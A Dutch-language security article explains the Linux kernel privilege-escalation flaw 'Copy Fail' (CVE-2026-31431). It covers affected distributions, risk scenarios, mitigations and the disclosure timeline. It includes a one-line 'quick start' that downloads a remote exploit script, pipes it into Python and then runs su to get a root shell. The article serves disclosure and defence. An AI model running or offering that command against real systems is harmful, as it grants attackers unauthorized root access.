732 bytes om elk Linux-systeem te kraken: episch lek bijna tien jaar onopgemerkt

🚨 Episch beveiligingslek: 732 bytes raken alle Linux-systemen, bijna tien jaar onopgemerkt
Er is een“Copy Fail”gedoopte kwetsbaarheid in de Linux-kernel (CVE-2026-31431) openbaar gemaakt:
- een 732 bytes grootPython-script
- is 100% betrouwbaar, zonder race-window of kernel-offsets
- treft alle Linux-distributies(van 2017 tot nu)
- container-escape-primitive, cross-tenant-aanvallen
- bijna tien jaar onopgemerkt, tot de openbaarmaking op 29 april 2026
Hetzelfde script werkt opUbuntu, RHEL, Amazon Linux en SUSE— zonder aanpassingen.
🎯 De kern van het lek
Eén enkele logicafout
Copy Fail is eenrechtlijnige logicafout:
- geen race-window nodig: in tegenstelling tot de meeste Linux-LPE’s, die een race nodig hebben
- geen kernel-offsets nodig: geen kernelspecifieke offsetwaarden vereist
- 100% betrouwbaar: het lukt elke keer
- hetzelfde script: werkt op alle distributies
De kwetsbaarheidsketen
De aanvalsketen van Copy Fail:
- authencesn-logicafout: een logische bug
- AF_ALG: via de crypto-API van de kernel
- splice(): aaneengeschakelde aanroepen
- page-cache-schrijfbewerking van 4 bytes: de uiteindelijke aanvalsprimitive
- bijna tien jaar exploiteerbaar: van 2017 tot aan de patch
📊 Omvang van de impact
Officieel geverifieerde distributies
| Distributie | Kernelversie | Status |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Geverifieerd |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Geverifieerd |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Geverifieerd |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Geverifieerd |
Andere getroffen distributies
Ook deze distributieszijn getroffen:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Ingebed Linux
Conclusie: als je kernel tussen 2017 en de patch is gebouwd —dan ben je getroffen.
💡 Risicovolle scenario’s
| Scenario | Risico | Impact |
|---|---|---|
| Multi-tenant Linux-hosts | Hoog | elke gebruiker kan root worden |
| Kubernetes / containerclusters | Hoog | aanvallen over containers en tenants heen |
| CI Runner / Build Farm | Hoog | een PR wordt root op de runner |
| Cloud-SaaS die gebruikerscode uitvoert | Hoog | tenant wordt host-root |
| Standaard Linux-servers | Middel | interne LPE, ketenbaar in aanvallen |
| Laptop met één gebruiker | Laag | privilege-escalatiestap na een eerste inbraak |
🔧 Mitigatiemaatregelen
Optie 1: kernel bijwerken (aanbevolen)
Werk de kernel bij naar een versie diemainline commit a664bf3d603dbevat:
- Wat de fix doet: draait de in-place-optimalisatie van algif_aead uit 2017 terug
- Effect: page-cache-pagina’s verschijnen niet langer in de beschrijfbare destination-scatterlist
- Status: de meeste gangbare distributies hebben inmiddels een patch uitgebracht
Optie 2: de module algif_aead uitschakelen (tijdelijk)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Impact van het uitschakelen van algif_aead
| Component | Impact |
|---|---|
| dm-crypt / LUKS | geen impact |
| kTLS / IPsec | geen impact |
| OpenSSL / SSH | geen impact |
| AF_ALG-gebruikersruimte | mogelijk impact |
Conclusie: voor de meeste systemen heeft het uitschakelen van algif_aeadgeen merkbare impact.
Optie 3: AF_ALG blokkeren met seccomp
Blokkeer voor niet-vertrouwde workloads (containers, sandboxen, CI) het aanmaken van AF_ALG-sockets via seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 PoC-demo
De PoC voor het lek is openbaar, zodat defenders hun systemen kunnen verifiëren:
Snel starten
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
PoC-details
- Bestandsgrootte: 732 bytes
- Taal: alleen Python 3.10+-stdlib (os, socket, zlib)
- Standaarddoel: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Waarschuwing: het script past de page cache van een setuid-binary aan; de wijzigingen verdwijnen na een herstart, maar de root-shell is echt. Voer dit niet uit in een productieomgeving.
📅 Tijdlijn van de openbaarmaking
| Datum | Gebeurtenis |
|---|---|
| 2026-03-23 | Gemeld aan het Linux kernel security team |
| 2026-03-24 | Eerste bevestiging |
| 2026-03-25 | Patchvoorstel en review |
| 2026-04-01 | Patch ingediend in mainline |
| 2026-04-22 | CVE-2026-31431 toegekend |
| 2026-04-29 | Openbare openbaarmaking |
🔍 Ontdekker: Xint Code
Het lek werd doorXint Codeontdekt:
- Scantijd: ongeveer 1 uur om de Linux crypto/-subsystem te scannen
- Hoe ontdekt: door AI ondersteunde code-audit
- Volledige analyse: root cause, diagrammen, operator-prompt
- Andere vondsten: tegelijk nog andere ernstige kwetsbaarheden gevonden, nog in gecoördineerde openbaarmaking
Trackrecord van Xint Code
- 0-day RCE: ZeroDay Cloud, veegde de databasecategorie samen (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: finale van de DARPA AI Cyber Challenge
- DEF CON CTF 9×: succesvolste team in de geschiedenis van de DEF CON CTF
📝 Samenvatting
Copy Fail (CVE-2026-31431) iseen episch lek in de Linux-kernel:
- 732 bytes raken alle Linux-systemen (van 2017 tot nu)
- 100% betrouwbaar, één enkele logicafout
- container-escape en cross-tenant-aanvallen
- bijna tien jaar onopgemerkt, openbaar gemaakt op 29 april 2026
- risicovolle scenario’s: multi-tenant-hosts, containerclusters, CI-runners, SaaS
- mitigatie: kernel bijwerken of algif_aead uitschakelen
- ontdekker: Xint Code, met een door AI ondersteunde code-audit
Bijna tien jaar verborgen: één script raakt elk Linux-systeem.
Website van het lek:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Technische analyse:https://xint.io/blog/copy-fail-linux-distributions
Kernel-patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5